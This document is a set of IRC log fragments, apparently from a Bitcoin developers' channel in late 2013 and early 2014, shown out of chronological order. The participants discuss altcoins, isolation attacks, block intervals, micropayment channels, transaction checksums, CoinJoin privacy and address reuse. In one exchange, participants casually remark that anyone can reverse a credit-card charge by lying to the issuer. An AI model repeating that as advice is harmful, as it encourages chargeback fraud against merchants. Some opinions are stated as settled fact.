in proof of work, economics may not be possible fit into that model
07:49 < brisque> adam3us: what do you call things like Primecoin and NXT? they're not parameter tweaks, but still not sane things to be promoting. as soon as you create differentiation you end up encouraging one over the other.
07:49 < adam3us> (and btc pegged side-chains have some technical and game-theory open questions, though its' an idea I find interesting and perhaps of great value to bitcoin ecosystem so eg we can run bitcoin 0.x and bitcoin 1.x in parallel, or competing bitcoin 1a.x and bitcoin 1b.x
07:50 < adam3us> brisque: yes i do wonder about that. as i said on a private chat prime coin is pretty close to another scam coin. the paper talking about the scientific method is not credible. it doesnt benefit the world to search for pairs of mid-sized priimes any more thn searching for hashcash stamps for the bitcoin stamp-collection
07:51 < sipa> i also believe not all "silly" altcoins are intended as scams
07:51 < brisque> I'd have to check, but I'm sceptical that their prime searching thing is reliable as a hash too.
07:52 < adam3us> you know i think momentum PoW might actual have some utility, the paper describing it is undefined/ambiguous on most of the critical issues; but i think reverse engineering it it might actually be an interestingly step towards a memory hard pow that doesnt require memory to verify (despite failing multiple other features he set himself)
07:53 < brisque> sipa: it might not be intended that way, but anybody looking at the Alternate Cryptocurrencies subforum should certainly be able to work out what's going on.
07:53 < adam3us> sipa: yeah scam might be the wrong word. i just think we owe like jtimon & maaku credit for having a non scamcoin, and just ranting against alts unfairly taints their freicoin economic experiement
07:54 < sipa> there are really many cases
07:55 < sipa> of coutse, a ton of silly alts (just tweaking some parameters)
07:55 < adam3us> brisque: there can be a difference between ooh make-money-fast, missed the bitcoin bubble, maybe i too can get some small early-adopter mining/premine mentality which isnt exactly a scam (otehr than egregious premine) but an attempt to get rich now that the proof has been given over 3 years of high uncertaint with bitcoin bootstrap that crypto currencies can bootstrap
07:55 < sipa> there are some that try to address a different problem (namecoin, datacoin)
07:56 < sipa> some are failed experiments on their own (litecoin as gpu-resistant pow perhaps)
07:56 < sipa> ppcoin was interesting, but flawed imho
07:56 < adam3us> and it can be somewhat hard to untangle. like if coingen succeeds in squelching param tweak,s maybe the people who can use a compiler enough to not need a hosted compiler will then just try harder to make a story
07:56 < brisque> adam3us: yes, but that said you don't want to be promoting NXT. it isn't a parameter swap but it's ridiculously insecure.
07:56 < adam3us> sipa: that probably becomes the new min-bar for "innovation"
07:57 < adam3us> brisque: very true.
07:57 < sipa> i've long been thinking about creating my own altcoin
07:57 < adam3us> see we have like "moron coins" and "good coder but crypto/distrbitued system incompetent" coins and usually a lot of greed and a bit of scam mixed in
07:57 < sipa> to fix all things that are wtong in bitcoin :)
07:58 < sipa> but time...
23:21 < gmaxwell> they create malicious blocks, okay fine. Does this chain of malicious blocks have the most total POW of all the chains you can see.
23:21 < Taek42> (not that I think it's a realistic attack - just having fun)
23:21 < gmaxwell> ?
23:21 < Taek42> start from the gensis block
23:21 < Taek42> connect to the 'internet' (which is actually controlled by the NSA)
23:22 < Taek42> so every block you see has been manipulated
23:22 < Taek42> by your upstream attacker
23:23 < gmaxwell> Yea, okay. You're talking about an isolation attack.
23:23 < Taek42> yeah
23:23 < Taek42> sorry still learning the terms
23:24 < gmaxwell> So, a couple defenses: any client software should have the total work of the real network at the time of its creation coded into it, so a rewrite from genesis attack reduces to being able to get honest software. (unless the attacker has enough hashpower to overcome the network throughly)
23:25 < gmaxwell> If thats the case, then they can only isolate you relative to a recent forking of the network
which means unless they have very significant hashpower they can only create blocks slowly.
23:25 < gmaxwell> Because you're validating blocks they can only create an apparently valid chain
only spend their own coins on you (or newly mined coins, but those can't be spent until they've produced >100 blocks)
23:26 < Taek42> wait that last part - newly mined coins can't be spent right away?
23:26 < gmaxwell> no, not for 100 blocks.
23:27 < Taek42> didn't know that
23:27 < Taek42> I'd like to see a currency (soon) that could realistically support blocks every few hundred milliseconds
23:28 < wyager> Why?
23:28 < Taek42> so that bitcoin could be used in stores and be as fast as credit cards
23:28 < gmaxwell> Taek42: ...
23:28 < wyager> It already can.
23:28 < wyager> You don't *need* to wait for a confirmation
23:28 < Taek42> with the help of a centralized party
23:28 < Taek42> or if the store owner takes a risk and doesn't confirm
23:28 < gmaxwell> complete misunderstanding there. Bitcoin transactions are already instant, their irreversability takes time. Credit card transactions are reversable for _months_.
23:28 < wyager> conventional wisdom tells us waiting a few seconds for a double spend is "good enough"
23:28 < gmaxwell> wyager: uhhhh
23:28 < wyager> Which is true
23:29 < wyager> (to be clear: Wait 5 seconds to make sure no one sent out a competing txn, then you're good)
23:29 < gmaxwell> wyager: thats really not true, not at all. It depends on the specifics of your situation and doesn't generalize. In some cases it's perfectly fine, in others its not.
23:29 < wyager> OK, true
23:29 < Taek42> credit card transactions are reversible under a set of rules that are trusted by the centralized system we use today
23:29 < wyager> Don't do that for expensive transactions. But if you're buying milk and eggs at the store, I'd say it's fine.
23:30 < gmaxwell> Taek42: no they're not, call up your credit card company. They will reverse _any_ transaction. You just have to ask.
23:30 < gmaxwell> (and of course tell them some yarn about how it couldn't have been yours)
23:30 < wyager> ^It's true. You don't even need to sign anything.
23:30 < wyager> And the *only* time the CC companies side with the merchant is if the merchant has an ink imprint of your physical card and a physical copy of your signature
23:30 < Taek42> yes but for the most part store owners don't have to deal with large enough losses
23:30 < wyager> which no one ever does
23:31 < wyager> They certainly do
23:31 < gmaxwell> Taek42: the merchant gets told and of course could sue you or ban you from their store. But they could do the same with a bitcoin transaction if their security procedures were setup for it.
23:31 < wyager> most stores pay chargeback insurance
23:31 < gmaxwell> Taek42: in any case, you cannot have a bitcoin like system with 100ms blocks, it wouldn't be reliably convergent.
23:31 < Taek42> right but we'd like a system where you don't need all of that fuss
23:31 < gmaxwell> Taek42: already in bitcoin with our moderately sized blocks we get 90% propagation taking a couple seconds.
23:31 < Taek42> well, I don't think you could have a single global blockchain
23:32 < Taek42> I'm here to talk about what types of changes might make it feasible
23:32 < wyager> Then how do you know your blockchain is correct?
23:32 < gmaxwell> if the mean time between blocks falls below the network radius the system will stop converging. (e.g. orphan rate tends to >100%)
23:32 < Luke-Jr> nevermind credit cards, lots of stores take personal checks..
23:32 < gmaxwell> Taek42: you could have a control loop to control orphan levels, the result wouldn't bee 100ms.
23:33 < gmaxwell> not unless the network collapsed to excluding miners outside of a few geographically close and well connected data centers.
23:33 < Taek42> well let's relax it to 5 seconds then
23:33 < Taek42> actually
23:33 < Taek42> let me think for a minute or so
23:33 < gmaxwell> Taek42: great, so then you have times when the first confirmation takes 50 seconds due to variance.
23:33 < Luke-Jr> Taek42: more often blocks = lower difficulty = less security per block
23:33 < Taek42> true
23:34 < Luke-Jr> there's simply no need for blocks faster than 10 minutes
23:34 < Taek42> why not?
23:34 < gmaxwell> seriously, expecting a blockchain consensus to be instant is foolish and unnecessary. There are plenty of ways to secure payments for instant transactions which doesn't involve centeralizing things.
23:34 < kyrio> lol
23:34 < Taek42> what if imgur wants to switch to a system where people pay in bitcoins before downloading an image from their servers?
23:34 < Taek42> a true micropayment system?
23:35 < Taek42> gmaxwell people would have said the same thing about bitcoin 10 years ago
23:35 < Taek42> and still say the same about it today
23:35 < gmaxwell> Taek42: then they can't use direct bitcoin payments for every item regardless because of scalablity. Bitcoin is a global broadcast network. People in china don't care about imgur's dust payments. They could use a micropayment channel, for example, however.
23:35 < gmaxwell> and those increment instantly.
23:36 < Taek42> how do micropayment channels work?
23:36 < gmaxwell> seriously, please spend some time researching before showing up asking to redesign a system you aren't fully up to speed on yet.
23:36 < Taek42> I've spent lots of time researching
23:36 < Taek42> but there's lots to look at
23:37 < Luke-Jr> Taek42: there's no need for blocks faster than 10 minutes, because TODAY, 10 minutes is INSANELY FASTER THAN EVERYTHING ELSE
23:37 < kyrio> lol
23:37 < gmaxwell> kyrio: can you say anything else?
23:37 < Luke-Jr> credit cards take 6+ months to confirm
23:37 < Luke-Jr> personal checks, you don't even know if the person has the money!
23:37 < Taek42> Luke-Jr that's a bit of a poor argument. Just because it's better than everything that currently exists doesn't mean that it's better than what is maximally useful
23:37 < gmaxwell> Luke-Jr: Yes, though you may need some additional things to give bitcoin credit card parity, depending on the application.
23:38 < Luke-Jr> gmaxwell: caselaw is the only thing that comes to mind <.<
23:38 < gmaxwell> Taek42: reducing the block time is has a lot of collateral effects, however, and can never guarantee "instant" on its own.
23:39 < gmaxwell> Luke-Jr: well, for example, digital ID that will allow a defrauded merchant to sue the cheating customer in the case of a reversal. (for items of value great enough to bother doing that)
23:40 < Luke-Jr> gmaxwell: merchants could easily require scanning your photo id to accept bitcoin payments
23:41 < gmaxwell> Taek42: e.g. say you have an orphan rate targeting thing and you ignore the node and client operating costs. What will it's speed be if you're targeting <10% orphans or whatever? median time to network saturation is a few seconds, so
needs to be 1/ some multiple of that, say 10 seconds. Which means you're going to get 1+ minute confirmation times
pretty often, and a single confirm is not terribly persusive esp in a network with ...
23:41 < gmaxwell> ... 10% orphans.
23:41 < gmaxwell> Luke-Jr: sure. some do.
23:43 < gmaxwell> Taek42: for something which is a true micropayment system, some semi-decenteralized but not trustless clearing house probably does provide a pretty optimal tradeoff. Because you can have instant processing, and the trust exposure is minimal since you're talking about very small values...
23:44 < Taek42> sounds reasonable to me
23:44 < gmaxwell> e.g. you assign coins to a bank run by 5 entities such that it requires 3 out of the 5 to spend the coins, then the 5 entities cooperate to operate a micropayment system.
23:44 < gmaxwell> bitcoin's multisignature transactions directly facilitates that.
23:44 < gmaxwell> and then you can reasonably have deeply subsecond payments for very tiny amounts.
23:44 < Taek42> I've tried reading about the multisignature transactions, and I get a bit confused
23:45 < Taek42> my friend said there's a limit of like 3 signatures?
23:46 < Luke-Jr> just to use the public infrastructure
23:46 < Luke-Jr> up to 20 if you make private arrangements
23:47 < Luke-Jr> and that's to spend, not to receive
23:47 < gmaxwell> No. Distinction between IsStandard() and the rules of the system. Basically unusual transactions are not relayed by the network to prevent them from being used for DOS attacks... IsStandard doesn't need to be consistent across the network and is easily changed in updates.
23:47 < Taek42> ok
23:48 < Luke-Jr> IsStandard isn't centralised either - any miner can change it for himself
23:58 < Taek42> gmaxwell (and everybody), what altcoins do you think are most interesting?
23:59 < Luke-Jr> Tonal Bitcoin, Namecoin, and Freicoin are pretty much all
23:59 < wyager> Primecoin, but I don't trust that prime finding difficulty will stay significant
--- Log closed Tue Jan 07 00:00:00 2014
05:01 < gmaxwell> where the website isn't scraping their keys, where its rng isn't weak, where they actually manage to memorize a key that attackers with big fpga farms won't guess, but don't then manage to forget it. ... and then later they come back to collect their coins and don't mess up a copy and paste on the destination, and finally don't manage to send all their coins to fees.
05:02 < gmaxwell> And in the interm hopefully there wasn't an ECDSA or RIPEMD160 break that left them behind in some hard forking update that was easily handled by normal software wallets, but not by specific keys people have memorized.
05:02 < Emcy> yeah bitcoin has a lot of ways to ensure you spend your retirement in the dosshouse.....
05:03 < Emcy> tbh im really really scared about when the time comes to move what coins i have again
05:03 < wumpus> to be fair, storing a large amount of value in any physical commodity is just as risky
05:04 < Emcy> im waiting for you to finish HD wallets.....then wait some more incase theres some atrocious bug.......
05:04 < wumpus> I hardly even dare to touch the wallet code, apart from fixing bugs or small code movements :p
05:07 < Emcy> yeah bitcoin development, 4 guys squatting digging up a landmine because it has to be moved over there to make room for the snake pit
05:08 < wumpus> hah
05:24 < adam3us> gmaxwell, Emcy: yes i worry about bitflips - we saw the first hand 2x in mozy (50Pb cloud store) bitflip twice in ECC ram that were detected
05:26 < adam3us> gmaxwell, Emcy: if you do something enough on enough servers, you will get a bitflip in data (or code); that was in ram between upload and store to disk (a short period of time), and they made it more robust by reading back from disk and checking the hash again if i recall
05:27 < Emcy> 2 bits in 50pb? thats safe as houses
05:27 < adam3us> i would not recommend moving more than 5% of money in one tx on a big tx really - i think the bitstamp moving 195k coins = $150m were nuts
05:57 < wumpus> Emcy: remember that most consumer tech is not quite as reliable as servers
06:07 < midnightmagic> yikes(bitflips in ecc ram)
06:08 < midnightmagic> i've seen it happen on 24tb storage arrays
08:21 < adam3us> Emcy: safe as houses; hmm basically its relatively safe, but not quite - if its an amount of money you cant afford to lose i think its better to do it in stages (5% per time) and/or to add extra double checks
08:25 < adam3us> Emcy: already bitcoin has 32-bit truncated sha256 checksum included in the address format, but if the address got bit-flipped before going to the network. maybe other nodes would consider a invalid checksum address as invalid. does the checksum even exist at the wire level? or is that a human encoding only thing.
08:25 < adam3us> Emcy: otherwise sooner or later as transaction volume grows that WILL happen to someone
08:45 < andytoshi> adam3us: there are indeed no checksums at the wire level
09:09 < andytoshi> gmaxwell: just saw your response to that encrypt-to-address thing
09:10 < andytoshi> yikes, why did he think it was responsible to release encryption software when he didn't know how it worked?
09:11 < andytoshi> oh, i see, it's a bit more subtle than that..
09:19 < andytoshi> i read "what is the nonce" and thought uh-oh
11:43 < adam3us> andytoshi: there is probably an implied checksum on any signed tx, the recipients addr is signed by the senders private key; if any bits are flipped (in recipient addr, or sig, or pub key, or output values) the sig is invalid so the tx is ignored
12:06 < gmaxwell> adam3us: we do have a checksum on the wire.
12:06 < gmaxwell> not that it really matters that much since all the important data is authenticated.
12:10 < Luke-Jr> sigh
12:10 < Luke-Jr> gmaxwell: well, it does with the anti-DoS stuf
12:10 < Luke-Jr> gmaxwell: without a checksum, peopel would get banned for corruption
12:35 < maaku> adam3us: there isn't any checksum protecting the data from the time the transaction is created to the moment it is signed
12:35 < maaku> a not insignificant amount of time if you are getting signatures from offline devices, for example
12:36 < Luke-Jr> perhaps we should be creating and signing every transaction twice
12:36 < Luke-Jr> with a comparison
12:36 < andytoshi> maybe this is something to think about for version 2 transactions..
12:37 < andytoshi> also have a way to indicate if outputs are blinded
12:37 < andytoshi> so that createrawtransaction would deal with them
12:46 < maaku> I think this is a higher-level problem
12:46 < maaku> We just need an interchange format that includes checksums
12:47 < maaku> Of which there are probably multiple bips I am not familiar with
12:50 < maaku> The raw transaction apis should be working with these enveloped transactions
12:51 < andytoshi> yeah, i agree .. hopefully there is a bip about this
12:52 * maaku reviews the bip list and is surprised that there isn't one covering this
12:52 < andytoshi> damn, there's probably too many usecases to consider
12:53 < maaku> Well I'm not sure that matters. It could literally be as simple as "strip all signatures, calculate 4-byte checksum, append checksum & prefix version, base58 encode"
12:53 < maaku> Then internally, that checksum could be checked before signing
12:55 < helo> can it be validated after it is signed?
12:55 < Luke-Jr> andytoshi: you sockpuppet!
12:55 < andytoshi> Luke-Jr: haha, i was gonna bug you about that..
12:55 < helo> a lot of pre-signing bitflips would cause the tx to fail normal verification
12:55 < andytoshi> then i realized that obviously nothing you or i say would help
12:55 < maaku> yeah, but safety check - you don't want signatures to exist for transactions you didn't mean to sign
12:55 < maaku> helo: but there are some which won't
12:56 < maaku> e.g. bitflip in the pubkey-hash
12:56 < helo> right... so valide those after signing?
12:56 < maaku> you could do that ... but is that solving a problem?
12:57 < helo> not afaict :)
12:58 < andytoshi> maaku: i'd like a transaction envelope which can have some or all signatures available..
12:58 < maaku> andytoshi: sure it can include the signatures
12:58 < maaku> but the checksum has to be sig-less
12:59 < andytoshi> ah, i see
13:02 < andytoshi> would there be any point to having a MAC as well?
13:02 < andytoshi> i'm thinking about the reasons that people pass raw transactions around today..
13:02 < andytoshi> i guess, an optional mac, if it were required then the checksum would accomplish nothing..
13:04 < andytoshi> hmm, actually any authenticating tokens would have to be negotiated outside of this format anyway
13:04 < maaku> well the authentication purpose of the MAC is covered by the signature, no?
13:04 < andytoshi> yeah, when you have a signature -- but if, say, i was submitting an unsigned transaction for long-term storage for some reason
13:04 < maaku> well maybe there's a use case involving third parties I'm not thinking of
13:05 < andytoshi> but i think that problem should be solved on still higher a level
13:06 < andytoshi> a checksum would cover innoculous corruption, that's pretty-much all we could prevent with the information associated with an unsigned transaction
13:29 < petertodd> handed in my resignation at work: http://0bin.net/paste/TW-j6eQy8SPX6KOW#W6xba/5CVZcf8xpA/YLtz+cGcjb8CMYNhfE7lNdbuwU=
13:30 < petertodd> I thought PGP-signing it would be appropriate; hilarious that there's a hard-copy of that now with my pen-and-paper signature on it too
13:46 * nsh raises a glass to commemorate petertodd's career transition
13:47 < gmaxwell> nsh: is that ... hemlock?
13:48 < nsh> oops, wrong party
13:48 < nsh> :)
13:48 < gmaxwell> petertodd: congrats
13:54 < michagogo|cloud> petertodd: how is that hilarious?
13:59 < petertodd> Thanks!
13:59 < petertodd> And ha, I manged to get the date wrong... it's January 24th that I leave, Feb 1st is the start date with mastercoin.
13:59 < petertodd> *managed
13:59 * michagogo|cloud doesn't find that funny
14:00 < petertodd> michagogo|cloud: that's because you're a pseudonym :p
14:00 < petertodd> brb, meeting
14:00 < michagogo|cloud> petertodd: huh?
14:01 < michagogo|cloud> Why is it funny to PGP-sign and pen-on-paper-sign the same document? o_A
14:01 < michagogo|cloud> s/A/O/
14:23 < petertodd> michagogo|cloud: it's a bit redundant IMO, or really, calls into question the whole idea of "signing" things
14:23 < petertodd> michagogo|cloud: shows how all the paperless office stuff just hasn't taken off too
14:23 < michagogo|cloud> Sure
14:23 < michagogo|cloud> But I, personally, don't find it funny...
14:24 < petertodd> well, as I said, you're a pseudonym utterly dependent on PGP :P
14:24 < michagogo|cloud> I am?
14:24 < gmaxwell> Don't worry, I found it funny.
14:25 < petertodd> gmaxwell: heh, HR found it hilarious, and also impressively knew exactly what the PGP signature was too!
14:25 < phantomcircuit> the redundant department of redundancy and redundant things
14:27 < petertodd> phantomcircuit: funny that that department is known for analyzing and reducing redundencies... but only external to it
14:28 < phantomcircuit> electronics designer? does that mean you make the things pretty
14:29 < petertodd> phantomcircuit: yes, I make beautiful artworks that sadly have an exceptionally small audience of admirers
14:29 < phantomcircuit> petertodd, i've never known an HR department that added value to the companyt
14:30 < petertodd> phantomcircuit: I actually think HR where I am adds value to the company, and more generally I've got a lot of praise for management
14:31 < andytoshi> damn, i like these PR guys... i should apply for your job
14:32 < andytoshi> maaku: regarding a transaction envelope, it should have a way to indicate that outputs (or anything) are blinded
14:32 < andytoshi> so that, e.g. if i have people submitting stuff to my joiner, i know which outputs i need to have unblinded before collecting signatures
14:32 < maaku> andytoshi: I think that's a different problem...
13:27 < petertodd> TD: "If people
s privacy is being protected via other means, then CoinJoin becomes a
help thieves hide their stolen money
system which reduces incentive to take part, increases legal risk even further and would make people wonder why their wallet apps were asking them to pay fees simply in order to shield people whom they most likely think are
bad." <- you say multiple times that coinjoin is legally questionable. I'm pointing out why ...
13:27 < petertodd> ... they both can be considered legally questionable.
13:27 < petertodd> TD: also, that quote is implying that coinjoin requires extra fees, which isn't true, so please fix that
13:28 < TD> merge avoidance doesn't help anyone hide stolen money, though. it is just irrelevant to that.
13:28 < Emcy> TD if he did then try him
13:29 < Emcy> but theyve charged others because they had actual evidence they did it, but not him because they dont and wont
13:29 < petertodd> TD: absolutely it does: it makes it harder to link thefts together to a single person, and in general makes it harder for people to link transactions together, making the job of investigators harder
13:29 < petertodd> TD: for instance it obscures the amount of funds moved per transaction, valuable information for tracing a theft and distinguishing it form other transactions
13:30 < TD> i don't think so, but we'll see.
13:30 < petertodd> TD: and again, please fix your article, if you don't then reasonable people would certainely conclude you are being delibrately dishonest
13:30 < TD> what is your rationale for saying coinjoin does not require extra fees? that you expect people to only do joins when they want to make a payment?
13:30 < TD> i have a feeling the term "coinjoin" has become overloaded to mean different things to different people
13:31 < TD> which makes it inherently hard to write about
13:31 < petertodd> TD: yes, that's what I've been proposing for pervasive two-party-mix support. and of course it means different things to different people: it's a bag of techniques - currently simple and automatic two-party-mixes is where development effort is being focused
13:31 < TD> i already pointed out the implementation difficulties with trying to do it "just in time", but i can clarify that last sentence to say it's explicitly talking about the asynchronous form
13:32 < Emcy> actually my little story about twitter harassment is another example of how fucked up things get when people just assume *convenientdigital ID* = a person and an action
13:32 < Emcy> IP address in that case
13:32 < petertodd> TD: then fix that. better yet, leave that off: as I say, merge avoidance costs more in fees so the comparison is rather odd
13:32 < Emcy> he even told them about exoneraTOR :/
13:33 < maaku> TD: I'd *really* like to see a bip 32 extension of the payment protocol
13:33 < TD> Emcy: which is correct for the vast majority of the time that people don't run Tor. I think Tor is a good example of what can go wrong with Bitcoin, really. the abuse keeps it small, which means the people who do choose to run it have bigger problems. a new parallel onion network that re-uses tor software but which requires anonymous IDs/passports to use and
made it super easy for network operators to report/tackle abuse,
13:33 < TD> useful
13:34 < TD> maaku: yeah me too but again, after v1 is done :)
13:34 < petertodd> maaku: reminds me, a generalized standard for "here's how I want you to build the scriptPubKey" that could do things like bip32+multisig or ECDH stealth addresses would be useful
13:34 < TD> petertodd: fees are dominated by the inputs/outputs and as you note yourself, you need to use similar techniques for coinjoin to really work. so i am not convinced fees required would end up much different.
13:35 < TD> as the total number of inputs/outputs would be similar
13:36 < petertodd> TD: no, like I said above you end up needing fewer inputs and outputs because you achieve privacy by matching the other parties values. (or txin combinations) CJ gives you much more flexibility with how you expand your anonymity set.
13:36 < petertodd> TD: and indeed, just using CJ with no value match avoidance at all is cheaper in terms of fees, and stll provides some privacy benefit
13:37 < midnightmagic> it's possible to get merge-avoidance-like inputs by mining in p2pool with an address randomizer; i have also written a simple perl tool which builds rawtx. it looks like a few p2pool'ers are already doing a rudimentary form of merge-avoidance right now, which I've discovered is limited mostly by how many addresses payment-accepting people are willing to give me at once.
13:37 < maaku> ... and how much hashpower you have to throw at it
13:38 < nsh> TD: "anonymous IDs/passports.... super easy.... tackle abuse" until the abuser gets a new anonymous ID, N minutes later, right? or do we have way of anonymously banning people on some effective and enduring basis these days?
13:38 < petertodd> nsh: you fidelity bond the ids
13:38 < nsh> oh okay, right anything's possible when you have to have money to play
13:38 < nsh> :)
13:39 < petertodd> nsh: you can also tie them to real-world passports or similar things with certain cryptographic techniques
13:39 < nsh> mm
13:39 < TD> nsh: right the whole idea is to make it expensive.
13:39 < TD> nsh: which is all banning IPs does anyway
13:39 < nsh> the problem is that what is a trifling loss to most people in the "developed world" is a substantial barrier to entry for everyone else
13:40 < TD> nsh: it doesn't help for the super serious stuff where you get your door kicked down because of something your IP address did, but tor kind of sucks to use because of all the low level abuse, not so much that stuff
13:40 * nsh nods
13:40 < TD> nsh: yeah. you could combine various techniques. like, use a SNARK proof that your e-Passport is from India, and then require a sacrifice that's much smaller as a result. but all this is quite advanced.
13:41 < nsh> right, i can conceive of such a hybrid system being somewhat universally and equitably applicable, but it seems quite far on the horizon atm
13:41 < nsh> baby steps, though :)
13:41 < TD> well, maybe a few years
13:41 * nsh nods
13:41 < petertodd> nsh: good example: decentralized CJ will most likely use tx fees as the anti-spam, which ahs the nifty security property that a sybil attacker has well-defined costs that can be reasoned about
13:41 < TD> for now an onion network only usable by rich people, is still better than one that's only usable by hard-core anonymity freaks who don't mind having a half-broken internet
13:42 < nsh> right (x2)
13:42 < petertodd> nsh: e.g. if tx fees were what miners lived on, and everyone used CJ, you could get security as good as the 51% security of bitcoin itself against sybils
13:42 < nsh> interesting
13:42 < TD> petertodd: ok i need to read more/ponder more about value matching as you describe, to understand your argument about fees being lower. once i get mentally awake enough to do that i will add a comment or update the article. actually if you have a twitter account you could also comment on that part of the article directly.
13:42 < petertodd> TD: cool
13:43 < nsh> could the bitcoin foundation provide a stipend to one of the people who makes those neat visualizations on e.g. informationisbeautiful to have the patience to sit with a technically-minded person and have something like CJ dynamics explained well-enough to illustrate graphically
13:43 < nsh> i feel the comprehensive enfranchisement of the bitcoin community would benefit drastically from such an arrangement
13:43 < Emcy> i dont think they want anything to do with anything like that
13:44 < nsh> well, some nice people with deep wallets :)
13:44 < petertodd> nsh: there is a catch though: what I proposed re tx fees isn't something anyone has figured out how to do perfectly, the best I've come up with is to attach nLockTime'd transactions to your CJ-related messages that pay fees in the future, which proves that you will either pay tx fees now spending those txouts, or they will be spent by the nLockTime'd tx,
but that only applies to a single output
13:44 < nsh> hmm
13:45 < nsh> that's just an efficiency problem at worst though?
13:45 < petertodd> nsh: yeah, the technique approximates perfection :)
13:45 * nsh smiles
13:45 < petertodd> nsh: fancy crypto could probably help, but I try to avoid anything I can't explain to actual wallet developers :P
13:46 < nsh> wisely, i'd say :)
13:48 < TD> sucky parental internet
13:48 < nsh> andytoshi, are you still logging here?
13:49 < petertodd> nsh: his logbot died a little while ago today I thought
13:49 < petertodd> nsh: I've got logs
13:49 < nsh> aye, can't see it
13:49 < nsh> (was just in case TD/outpingers wanted to catch up their buffers)
13:50 < andytoshi> nsh: shit, no
13:50 < TD> i should set up an irc proxy again
13:50 < andytoshi> i didn't see it die
13:50 < TD> no matter
13:50 * andytoshi-logbot is logging
13:50 < petertodd> nsh: I really gotta get around to implementing decentralized IRC... lol
13:50 < andytoshi> thx, my perl script does not notice being unhooked for some reason, it is supposed to reconnect
13:50 < nsh> petertodd, didn't you have notes on that?
13:50 < petertodd> nsh: meh, I'll just write a whitepaper on it instead...
13:50 < nsh> aye, that's the way
13:50 < nsh> implementation is for grad-students
13:51 < petertodd> nsh: hehe, "My favorite programming language is English."
13:51 < TD> secure irc (not decentralised) exists, cryptocat
13:51 < TD> though not sure there's any point encrypting irc :)
13:51 < TD> of course it's not really irc
13:51 * nsh smiles
13:51 < nsh> what's the latency on pond?
13:51 < TD> high
13:51 < petertodd> nsh: high
13:51 < nsh> ok, nm
13:51 < TD> it's meant for email like uses
13:52 < nsh> right
13:52 < maaku> nsh: there's built in delays on pond
13:52 < TD> multi-user chat OTR like chat is what cryptocat is for
13:52 * nsh nods
21:49 <@gmaxwell> he continued in his response: " I have friends that have been using bitcoin for years and they use the same address because it's very convenient for peer-to-peer transmission (you don't have to ask a new one all the time). Heck, I'm working on a project (not this one) right now and that's reusing addresses in certain cases.
21:49 <@gmaxwell> If this is as important as you've made it seem, this needs to be a lot more prominently communicated to the general public, explaining all the risks of not changing addresses with every outgoing transaction."
21:49 <@gmaxwell> which I think is probably fair enough.
21:50 <@gmaxwell> It's not communicated well, especially since there is some wallet software that basically forces reuse.
21:50 <@gmaxwell> (e.g. multibit)
21:50 < BlueMatt> we need a much, much, much better bitcoin intro for devs
21:50 < BlueMatt> and bitcoin wallet on android :(
21:51 <@gmaxwell> We're also failing to use the existing software as an educational tool. There really should be some warning emblem that comes up on transactions that reuse addresses.
21:52 * BlueMatt desperately wants to have a good bitcoin library that provides nice apis to encourage proper use
21:52 < BlueMatt> but, sadly, that requires lots of effort...
21:53 < adam3us> gmaxwell: i think Luke-Jr is on the right track with eligius policy there ;) just need wider adoption of his patch "why is my transaction not completing"... well did u read the doco? no address reuse
21:53 <@gmaxwell> well, there is A bitcoin library, bitcoinj but basically um.. all (?!) its users are not so good on the best practices front
21:53 < Luke-Jr> there's also libbitcoin
21:53 <@gmaxwell> I don't think you can both provide enough flexibility to really be a toolbox without making it easy to abuse.
21:54 < Luke-Jr> gmaxwell: well, bitcoinj goes very far in making abuse easy
21:54 < BlueMatt> gmaxwell: even bitcoinj fails to get it right by far
21:55 < BlueMatt> (hell, all the apps that use it reuse the hell out of addresses)
21:55 < BlueMatt> gmaxwell: easy to abuse != easy to use right and possible to abuse
21:55 <@gmaxwell> okay, thats a point.
21:55 < BlueMatt> Luke-Jr: does libbitcoin do an actually good job here?
21:56 < Luke-Jr> BlueMatt: not sure
21:56 < BlueMatt> oh, well if we're just listing bitcoin libraries...there's millions
21:56 < Luke-Jr> there are?
21:56 < BlueMatt> theres the one in go, theres ones (multiple) in python
21:56 < BlueMatt> theres another one in java
21:56 <@gmaxwell> well if you limit them to c-callable...
21:57 < BlueMatt> theres bitcoin js theres bitcoin-ruby.....
21:57 < BlueMatt> gmaxwell: meh, you can call pretty much all of those from c with the right wrappers
21:57 < adam3us> i kind of like the public public derivation method (sender multiply Q by r and encrypt r for recipient, plus some bloom filter hint to reduce that below full node trial decrpt all payments) for this reason - safe to reuse because the uncompressed address is randomized during payment
22:26 < adam3us> jgarzik: proof of $somethingelse... doesnt proof of stake give a reward bias to those with lots of btc?
22:29 < adam3us> jgarzik: interesting result for efficiency, and self-interest to not damage the network, but side-effect an ongoing mining advantage to large btc holders
23:06 < Luke-Jr> adam3us: only if subsidy is on those blocks..
23:06 < Luke-Jr> proof-of-stake without subsidy might be interesting
--- Log closed Thu Dec 19 00:00:08 2013
--- Log opened Thu Dec 19 00:00:08 2013
00:53 < nanotube> gmaxwell: http://qdb.us/64573 about that riddle. :)
00:55 < Emcy> http://it.slashdot.org/story/13/12/18/2122226/scientists-extract-rsa-key-from-gnupg-using-sound-of-cpu well shit
01:23 < maaku> adam3us Luke-Jr: there are interesting applications of proof-of-stake if it can be divorced from mining reward
01:24 < maaku> imho proof of stake should never have been tangled up in block generation or mining subsidy
05:30 < adam3us> gmaxwell: btw much further up, about gpg noise attack, mentioned bitcoin signature is not timing resistant, yet another reason for non-address reuse; however chain-codes weaken that, exfiltrate the chain code from network computer, and timing/sound recover one public or private derived key to the point of recovery, and game over.
05:31 < adam3us> gmaxwell: at least the public & private derived HD sub-keys are probably randomized enough via HMAC that accumulative timing attack seems unlikely; also the whole thing yet another argument for Bernstien's EdDSA (aka EC Schnorr) as it has no timing attack (no private key dependent branches), though deterministic DSA also fixes that
06:19 < adam3us> about the 1:1 peg discussed yesterday, so far it seems like because btc2->btc1 flow is authorized by spv proof, that the entire alt is only good to spv security level. can this be improved to full node security? seems to imply full nodes need to be on both networks.
06:20 < adam3us> also if there is no native reward whats the motive to merge mine the btc2 - only btc2 network tx fees. isnt that vulnerable to incentive attacks as fees are 2-3% of reward. like ghash.io level pool could be paid to forge spv and succeed enough of time to make that an economically rational theft attack
07:31 < Hunger-> hi
07:37 < adam3us> hi
11:23 < andytoshi> http://crypto.stackexchange.com/questions/12425/why-are-the-lower-3-bits-of-curve25519-ed25519-secret-keys-cleared-during-creati
11:38 < phantomcircuit> adam3us, iirc that requires you to do a lot of private key ops
11:46 < TD> the latest academic paper on bitcoin leaves a lot to be desired
11:47 < TD> http://eprint.iacr.org/2013/829.pdf - i sent them some corrections
11:48 < andytoshi> i read the first few paragraphs and decided to ignore that one ... thanks for the vigilance
